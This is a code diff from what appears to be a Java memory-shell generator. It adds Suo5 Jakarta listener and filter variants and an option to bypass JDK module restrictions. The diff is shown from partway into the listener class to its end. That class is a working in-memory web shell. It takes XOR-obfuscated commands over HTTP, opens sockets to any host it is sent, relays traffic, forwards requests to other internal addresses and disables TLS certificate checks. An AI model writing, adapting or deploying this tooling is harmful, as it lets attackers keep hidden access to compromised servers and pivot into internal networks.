public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
int bufferOffset = 0;
|
||||
while (bufferOffset < b.length) {
|
||||
int readLength = b.length - bufferOffset;
|
||||
int readResult = is.read(b, bufferOffset, readLength);
|
||||
if (readResult == -1) break;
|
||||
bufferOffset += readResult;
|
||||
}
|
||||
}
|
||||
|
||||
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
|
||||
InputStream in = request.getInputStream();
|
||||
byte[] data = new byte[32];
|
||||
readFull(in, data);
|
||||
OutputStream out = response.getOutputStream();
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
|
||||
|
||||
private HashMap newCreate(byte s) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x04});
|
||||
m.put("s", new byte[]{s});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newData(byte[] data) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x01});
|
||||
m.put("dt", data);
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newDel() {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x02});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newStatus(byte b) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("s", new byte[]{b});
|
||||
return m;
|
||||
}
|
||||
|
||||
byte[] u32toBytes(int i) {
|
||||
byte[] result = new byte[4];
|
||||
result[0] = (byte) (i >> 24);
|
||||
result[1] = (byte) (i >> 16);
|
||||
result[2] = (byte) (i >> 8);
|
||||
result[3] = (byte) (i /*>> 0*/);
|
||||
return result;
|
||||
}
|
||||
|
||||
int bytesToU32(byte[] bytes) {
|
||||
return ((bytes[0] & 0xFF) << 24) |
|
||||
((bytes[1] & 0xFF) << 16) |
|
||||
((bytes[2] & 0xFF) << 8) |
|
||||
((bytes[3] & 0xFF) << 0);
|
||||
}
|
||||
|
||||
synchronized void put(String k, Object v) {
|
||||
ctx.put(k, v);
|
||||
}
|
||||
|
||||
synchronized Object get(String k) {
|
||||
return ctx.get(k);
|
||||
}
|
||||
|
||||
synchronized Object remove(String k) {
|
||||
return ctx.remove(k);
|
||||
}
|
||||
|
||||
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||
int newLength = to - from;
|
||||
if (newLength < 0) {
|
||||
throw new IllegalArgumentException(from + " > " + to);
|
||||
}
|
||||
byte[] copy = new byte[newLength];
|
||||
int copyLength = Math.min(original.length - from, newLength);
|
||||
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||
for (int i = 0; i < copyLength; i++) {
|
||||
copy[i] = original[from + i];
|
||||
}
|
||||
return copy;
|
||||
}
|
||||
|
||||
|
||||
private byte[] marshal(HashMap m) throws IOException {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
Object[] keys = m.keySet().toArray();
|
||||
for (int i = 0; i < keys.length; i++) {
|
||||
String key = (String) keys[i];
|
||||
byte[] value = (byte[]) m.get(key);
|
||||
buf.write((byte) key.length());
|
||||
buf.write(key.getBytes());
|
||||
buf.write(u32toBytes(value.length));
|
||||
buf.write(value);
|
||||
}
|
||||
|
||||
byte[] data = buf.toByteArray();
|
||||
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||
dbuf.putInt(data.length);
|
||||
// xor key
|
||||
byte key = data[data.length / 2];
|
||||
dbuf.put(key);
|
||||
for (int i = 0; i < data.length; i++) {
|
||||
data[i] = (byte) (data[i] ^ key);
|
||||
}
|
||||
dbuf.put(data);
|
||||
return dbuf.array();
|
||||
}
|
||||
|
||||
private HashMap unmarshal(InputStream in) throws Exception {
|
||||
byte[] header = new byte[4 + 1]; // size and datatype
|
||||
readFull(in, header);
|
||||
// read full
|
||||
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||
int len = bb.getInt();
|
||||
int x = bb.get();
|
||||
if (len > 1024 * 1024 * 32) {
|
||||
throw new IOException("invalid len");
|
||||
}
|
||||
byte[] bs = new byte[len];
|
||||
readFull(in, bs);
|
||||
for (int i = 0; i < bs.length; i++) {
|
||||
bs[i] = (byte) (bs[i] ^ x);
|
||||
}
|
||||
HashMap m = new HashMap();
|
||||
byte[] buf;
|
||||
for (int i = 0; i < bs.length - 1; ) {
|
||||
short kLen = bs[i];
|
||||
i += 1;
|
||||
if (i + kLen >= bs.length) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
if (kLen < 0) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + kLen);
|
||||
String key = new String(buf);
|
||||
i += kLen;
|
||||
|
||||
if (i + 4 >= bs.length) {
|
||||
throw new Exception("value len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + 4);
|
||||
int vLen = bytesToU32(buf);
|
||||
i += 4;
|
||||
if (vLen < 0) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
|
||||
if (i + vLen > bs.length) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||
i += vLen;
|
||||
|
||||
m.put(key, value);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
|
||||
final InputStream reqInputStream = request.getInputStream();
|
||||
HashMap dataMap = unmarshal(reqInputStream);
|
||||
|
||||
byte[] action = (byte[]) dataMap.get("ac");
|
||||
if (action.length != 1 || action[0] != 0x00) {
|
||||
resp.setStatus(403);
|
||||
return;
|
||||
}
|
||||
resp.setBufferSize(512);
|
||||
final OutputStream respOutStream = resp.getOutputStream();
|
||||
|
||||
// 0x00 create socket
|
||||
resp.setHeader("X-Accel-Buffering", "no");
|
||||
Socket sc;
|
||||
try {
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
port = request.getLocalPort();
|
||||
}
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
} catch (Exception e) {
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.flushBuffer();
|
||||
|
||||
final OutputStream scOutStream = sc.getOutputStream();
|
||||
final InputStream scInStream = sc.getInputStream();
|
||||
|
||||
Thread t = null;
|
||||
try {
|
||||
Suo5JakartaListener p = new Suo5JakartaListener(scInStream, respOutStream);
|
||||
t = new Thread(p);
|
||||
t.start();
|
||||
readReq(reqInputStream, scOutStream);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("pipe error, %s\n", e);
|
||||
} finally {
|
||||
sc.close();
|
||||
respOutStream.close();
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||
byte[] readBuf = new byte[1024 * 8];
|
||||
while (true) {
|
||||
int n = inputStream.read(readBuf);
|
||||
if (n <= 0) {
|
||||
break;
|
||||
}
|
||||
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||
if (needMarshal) {
|
||||
dataTmp = marshal(newData(dataTmp));
|
||||
}
|
||||
outputStream.write(dataTmp);
|
||||
outputStream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||
while (true) {
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(bufInputStream);
|
||||
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
return;
|
||||
}
|
||||
byte action = actions[0];
|
||||
if (action == 0x02) {
|
||||
socketOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
socketOutStream.write(data);
|
||||
socketOutStream.flush();
|
||||
}
|
||||
} else if (action == 0x03) {
|
||||
continue;
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
|
||||
Exception {
|
||||
InputStream is = request.getInputStream();
|
||||
BufferedInputStream reader = new BufferedInputStream(is);
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(reader);
|
||||
|
||||
|
||||
String clientId = new String((byte[]) dataMap.get("id"));
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
resp.setStatus(403);
|
||||
return;
|
||||
}
|
||||
/*
|
||||
ActionCreate byte = 0x00
|
||||
ActionData byte = 0x01
|
||||
ActionDelete byte = 0x02
|
||||
ActionHeartbeat byte = 0x03
|
||||
*/
|
||||
byte action = actions[0];
|
||||
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||
String redirectUrl = "";
|
||||
if (needRedirect) {
|
||||
dataMap.remove("r");
|
||||
redirectUrl = new String(redirectData);
|
||||
needRedirect = !isLocalAddr(redirectUrl);
|
||||
}
|
||||
// load balance, send request with data to request url
|
||||
// action 0x00 need to pipe, see below
|
||||
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||
conn.disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
resp.setBufferSize(512);
|
||||
OutputStream respOutStream = resp.getOutputStream();
|
||||
if (action == 0x02) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) return;
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
scOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) {
|
||||
respOutStream.write(marshal(newDel()));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
scOutStream.write(data);
|
||||
scOutStream.flush();
|
||||
}
|
||||
respOutStream.close();
|
||||
return;
|
||||
} else {
|
||||
}
|
||||
|
||||
if (action != 0x00) {
|
||||
return;
|
||||
}
|
||||
// 0x00 create new tunnel
|
||||
resp.setHeader("X-Accel-Buffering", "no");
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
port = request.getLocalPort();
|
||||
}
|
||||
|
||||
InputStream readFrom;
|
||||
Socket sc = null;
|
||||
HttpURLConnection conn = null;
|
||||
|
||||
if (needRedirect) {
|
||||
// pipe redirect stream and current response body
|
||||
conn = redirect(request, dataMap, redirectUrl);
|
||||
readFrom = conn.getInputStream();
|
||||
} else {
|
||||
// pipe socket stream and current response body
|
||||
try {
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
readFrom = sc.getInputStream();
|
||||
this.put(clientId, sc.getOutputStream());
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.flushBuffer();
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("connect error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
this.remove(clientId);
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
try {
|
||||
readSocket(readFrom, respOutStream, !needRedirect);
|
||||
} catch (Exception e) {
|
||||
// System.out.println("socket error " + e.toString());
|
||||
// e.printStackTrace();
|
||||
} finally {
|
||||
if (sc != null) {
|
||||
sc.close();
|
||||
}
|
||||
if (conn != null) {
|
||||
conn.disconnect();
|
||||
}
|
||||
respOutStream.close();
|
||||
this.remove(clientId);
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
readSocket(gInStream, gOutStream, true);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static HashMap collectAddr() {
|
||||
HashMap addrs = new HashMap();
|
||||
try {
|
||||
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||
while (nifs.hasMoreElements()) {
|
||||
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||
Enumeration addresses = nif.getInetAddresses();
|
||||
while (addresses.hasMoreElements()) {
|
||||
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||
String s = addr.getHostAddress();
|
||||
if (s != null) {
|
||||
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||
int ifaceIndex = s.indexOf('%');
|
||||
if (ifaceIndex != -1) {
|
||||
s = s.substring(0, ifaceIndex);
|
||||
}
|
||||
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
return addrs;
|
||||
}
|
||||
|
||||
boolean isLocalAddr(String url) throws Exception {
|
||||
String ip = (new URL(url)).getHost();
|
||||
return addrs.containsKey(ip);
|
||||
}
|
||||
|
||||
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
|
||||
String method = request.getMethod();
|
||||
URL u = new URL(rUrl);
|
||||
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||
conn.setRequestMethod(method);
|
||||
try {
|
||||
// conn.setConnectTimeout(3000);
|
||||
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||
// conn.setReadTimeout(0);
|
||||
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||
} catch (Exception e) {
|
||||
// java1.4
|
||||
}
|
||||
conn.setDoOutput(true);
|
||||
conn.setDoInput(true);
|
||||
|
||||
// ignore ssl verify
|
||||
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||
}
|
||||
|
||||
Enumeration headers = request.getHeaderNames();
|
||||
while (headers.hasMoreElements()) {
|
||||
String k = (String) headers.nextElement();
|
||||
conn.setRequestProperty(k, request.getHeader(k));
|
||||
}
|
||||
|
||||
OutputStream rout = conn.getOutputStream();
|
||||
rout.write(marshal(dataMap));
|
||||
rout.flush();
|
||||
rout.close();
|
||||
conn.getResponseCode();
|
||||
return conn;
|
||||
}
|
||||
|
||||
public boolean verify(String hostname, SSLSession session) {
|
||||
return true;
|
||||
}
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
package jmg.suo5.util;
|
||||
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.suo5.memshell.Suo5Filter;
|
||||
import jmg.suo5.memshell.Suo5Interceptor;
|
||||
import jmg.suo5.memshell.Suo5Listener;
|
||||
import jmg.suo5.memshell.*;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
@@ -33,10 +31,15 @@ public class ShellUtil {
|
||||
SHELL_CLASSNAME_MAP.put(Suo5Listener.class.getSimpleName(), Suo5Listener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(Suo5Filter.class.getSimpleName(), Suo5Filter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(Suo5Interceptor.class.getSimpleName(), Suo5Interceptor.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(Suo5JakartaListener.class.getSimpleName(), Suo5JakartaListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(Suo5JakartaFilter.class.getSimpleName(), Suo5JakartaFilter.class.getName());
|
||||
|
||||
Map<String, String> suo5Map = new HashMap();
|
||||
suo5Map.put(Constants.SHELL_FILTER, Suo5Filter.class.getSimpleName());
|
||||
suo5Map.put(Constants.SHELL_LISTENER, Suo5Listener.class.getSimpleName());
|
||||
suo5Map.put(Constants.SHELL_INTERCEPTOR, Suo5Interceptor.class.getSimpleName());
|
||||
suo5Map.put(Constants.SHELL_JAKARTA_FILTER, Suo5JakartaFilter.class.getSimpleName());
|
||||
suo5Map.put(Constants.SHELL_JAKARTA_LISTENER, Suo5JakartaListener.class.getSimpleName());
|
||||
toolMap.put(Constants.TOOL_SUO5, suo5Map);
|
||||
}
|
||||
|
||||
|
||||
@@ -59,6 +59,8 @@ public class CustomHelper implements IHelper {
|
||||
enumShellType.add(Constants.SHELL_LISTENER);
|
||||
enumShellType.add(Constants.SHELL_FILTER);
|
||||
enumShellType.add(Constants.SHELL_INTERCEPTOR);
|
||||
enumShellType.add(Constants.SHELL_JAKARTA_LISTENER);
|
||||
enumShellType.add(Constants.SHELL_JAKARTA_FILTER);
|
||||
shell_type.setEnumValue(enumShellType);
|
||||
|
||||
IArg gadgetType = ShellHelperPlugin.pluginHelper.createArg();
|
||||
@@ -124,6 +126,18 @@ public class CustomHelper implements IHelper {
|
||||
output_path.setDescription("自定义输出路径");
|
||||
list.add(output_path);
|
||||
|
||||
IArg enable_bypass_jdk_module = ShellHelperPlugin.pluginHelper.createArg();
|
||||
enable_bypass_jdk_module.setName("bypass_jdk_module");
|
||||
enable_bypass_jdk_module.setType(7);
|
||||
List<String> enumenableBypass = new ArrayList();
|
||||
enumenableBypass.add(String.valueOf(false));
|
||||
enumenableBypass.add(String.valueOf(true));
|
||||
enable_bypass_jdk_module.setEnumValue(enumenableBypass);
|
||||
enable_bypass_jdk_module.setDefaultValue(String.valueOf(false));
|
||||
enable_bypass_jdk_module.setRequired(false);
|
||||
enable_bypass_jdk_module.setDescription("绕过高版本 JDK Module 访问限制");
|
||||
list.add(enable_bypass_jdk_module);
|
||||
|
||||
binder.setArgsList(list);
|
||||
return binder;
|
||||
}
|
||||
@@ -151,6 +165,7 @@ public class CustomHelper implements IHelper {
|
||||
if (config.getUrlPattern() == null) config.setUrlPattern("/*");
|
||||
config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
|
||||
if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir"));
|
||||
if (customArgs.get("bypass_jdk_module") != null) config.setEnableBypassJDKModule(Boolean.parseBoolean((String) customArgs.get("bypass_jdk_module")));
|
||||
|
||||
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
||||
File f;
|
||||
|
||||
@@ -52,6 +52,8 @@ public class ProxyHelper implements IHelper {
|
||||
enumShellType.add(Constants.SHELL_FILTER);
|
||||
enumShellType.add(Constants.SHELL_LISTENER);
|
||||
enumShellType.add(Constants.SHELL_INTERCEPTOR);
|
||||
enumShellType.add(Constants.SHELL_JAKARTA_LISTENER);
|
||||
enumShellType.add(Constants.SHELL_JAKARTA_FILTER);
|
||||
shell_type.setEnumValue(enumShellType);
|
||||
shell_type.setDefaultValue(Constants.SHELL_LISTENER);
|
||||
shell_type.setRequired(true);
|
||||
@@ -109,6 +111,18 @@ public class ProxyHelper implements IHelper {
|
||||
output_path.setRequired(false);
|
||||
output_path.setDescription("自定义输出路径");
|
||||
list.add(output_path);
|
||||
|
||||
IArg enable_bypass_jdk_module = ShellHelperPlugin.pluginHelper.createArg();
|
||||
enable_bypass_jdk_module.setName("bypass_jdk_module");
|
||||
enable_bypass_jdk_module.setType(7);
|
||||
List<String> enumenableBypass = new ArrayList();
|
||||
enumenableBypass.add(String.valueOf(false));
|
||||
enumenableBypass.add(String.valueOf(true));
|
||||
enable_bypass_jdk_module.setEnumValue(enumenableBypass);
|
||||
enable_bypass_jdk_module.setDefaultValue(String.valueOf(false));
|
||||
enable_bypass_jdk_module.setRequired(false);
|
||||
enable_bypass_jdk_module.setDescription("绕过高版本 JDK Module 访问限制");
|
||||
list.add(enable_bypass_jdk_module);
|
||||
binder.setArgsList(list);
|
||||
return binder;
|
||||
}
|
||||
@@ -149,6 +163,7 @@ public class ProxyHelper implements IHelper {
|
||||
config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
|
||||
if (config.getShellSimpleClassName() == null)
|
||||
config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName()));
|
||||
if (customArgs.get("bypass_jdk_module") != null) config.setEnableBypassJDKModule(Boolean.parseBoolean((String) customArgs.get("bypass_jdk_module")));
|
||||
|
||||
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
||||
|
||||
|
||||
@@ -49,6 +49,8 @@ public class ShellHelper implements IHelper {
|
||||
enumShellType.add(Constants.SHELL_LISTENER);
|
||||
enumShellType.add(Constants.SHELL_FILTER);
|
||||
enumShellType.add(Constants.SHELL_INTERCEPTOR);
|
||||
enumShellType.add(Constants.SHELL_JAKARTA_LISTENER);
|
||||
enumShellType.add(Constants.SHELL_JAKARTA_FILTER);
|
||||
shell_type.setEnumValue(enumShellType);
|
||||
|
||||
shell_type.setDefaultValue("Listener");
|
||||
@@ -134,6 +136,18 @@ public class ShellHelper implements IHelper {
|
||||
output_path.setDescription("自定义输出路径");
|
||||
list.add(output_path);
|
||||
|
||||
IArg enable_bypass_jdk_module = ShellHelperPlugin.pluginHelper.createArg();
|
||||
enable_bypass_jdk_module.setName("bypass_jdk_module");
|
||||
enable_bypass_jdk_module.setType(7);
|
||||
List<String> enumenableBypass = new ArrayList();
|
||||
enumenableBypass.add(String.valueOf(false));
|
||||
enumenableBypass.add(String.valueOf(true));
|
||||
enable_bypass_jdk_module.setEnumValue(enumenableBypass);
|
||||
enable_bypass_jdk_module.setDefaultValue(String.valueOf(false));
|
||||
enable_bypass_jdk_module.setRequired(false);
|
||||
enable_bypass_jdk_module.setDescription("绕过高版本 JDK Module 访问限制");
|
||||
list.add(enable_bypass_jdk_module);
|
||||
|
||||
binder.setArgsList(list);
|
||||
return binder;
|
||||
}
|
||||
@@ -179,6 +193,7 @@ public class ShellHelper implements IHelper {
|
||||
config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
|
||||
if (config.getShellSimpleClassName() == null)
|
||||
config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName()));
|
||||
if (customArgs.get("bypass_jdk_module") != null) config.setEnableBypassJDKModule(Boolean.parseBoolean((String) customArgs.get("bypass_jdk_module")));
|
||||
|
||||
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
||||
|
||||
|
||||
Reference in New Issue
Block a user